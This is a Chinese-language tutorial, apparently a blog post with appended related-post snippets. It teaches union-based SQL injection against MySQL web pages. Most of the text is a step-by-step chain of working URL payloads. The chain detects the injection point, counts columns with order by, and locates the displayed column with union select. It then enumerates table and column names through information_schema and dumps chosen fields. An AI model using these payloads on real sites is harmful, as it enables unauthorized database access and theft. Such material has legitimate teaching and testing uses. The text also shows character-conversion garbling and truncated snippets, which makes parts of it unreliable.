1.判斷是否存在注入點:
在正常輸入後面新增and 1=1 檢視是否正常回顯。如果一切正常說明該處存在注入點。#是資料庫查詢的結束標誌。
?id=1' and 1=1#
這裡的?id=1』使用單引號閉合查詢語句。不同的查詢寫法使用響應的閉合方式
2.猜解字段數。
每乙個資料庫查詢語句的結果都是乙個**,使用order by查詢該查詢結果一共查詢了幾個字段。因為使用union查詢前後的字段數必須一致。
?id=1' and 1=1 order by 1#
?id=1' and 1=1 order by 2#
.....
一致嘗試直到頁面返回錯誤,得到字段數。
3.查詢聯合輸出點
查詢結果有多個字段,但不是每乙個欄位都在頁面上有所顯示,故使用union查詢輸出點。
?id=1' and 1=2 union select 1,2,3#
這裡使用了乙個1=2讓前半句查詢失效,這樣查詢的結果就是1,2,3.在頁面中查詢輸出,發現是3,就表明查詢的第3個字段是輸出點。
4.查詢資料庫名
?id=1' and 1=2 union select 1,1,database()#
5.利用mysql系統自帶庫查詢資料庫中的表名
?id=1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='database()' limit 0,1#
這裡資料庫可能不只有乙個表,所以在查詢結果後面使用limit 逐個輸出。
6.利用mysql系統自帶庫查詢資料庫中表的字段
?id=1' and 1=2 union select 1,2,column_name from information_schema.columns where table_name='***' limit 0,1#
這裡的***就是上一步查詢出來的表名字,逐個表查詢。
7.查詢目標內容
已知了表名、列名,猜測最有價值的字段,直接查詢其內容。
?id=1' and 1=2 union select 1,2,*** from yyy limit 0,1
查詢yyy表中的***字段內容。
SQL注入 顯錯注入
顯錯注入 步驟1 判斷是否存在注入點 步驟2 猜解字段數 步驟3 聯合查詢找出輸出點 步驟4 去系統自帶庫查詢表名和欄位名 步驟5 查詢我們需要的欄位名 步驟1 判斷是否存在注入點 192.168.1.10 1 id 1 這裡可以用id 1 來確定是否存在注入點,192.168.1.10 1 id ...
mysql錯誤回顯注入 sql注入 顯錯注入
前提知識 資料庫 就是將大量資料把儲存起來,通過計算機加工而成的可以高效訪問資料庫的資料集合 資料庫結構 庫 就是一堆表組成的資料集合 表 類似 excel,由行和列組成的二維表 字段 表中的列稱為字段 記錄 表中的行稱為記錄 單元格 行和列相交的地方稱為單元格 在資料庫裡有乙個系統庫 inform...
mysql顯錯注入 MySQL注入之顯錯注入
庫 就是一堆表組成的資料集合 資料庫裡自帶的系統庫 information schema information schema裡columns表裡存著所有欄位名 information schema裡schemata表裡存著所有庫名 information schema裡tables表裡存著所有表名...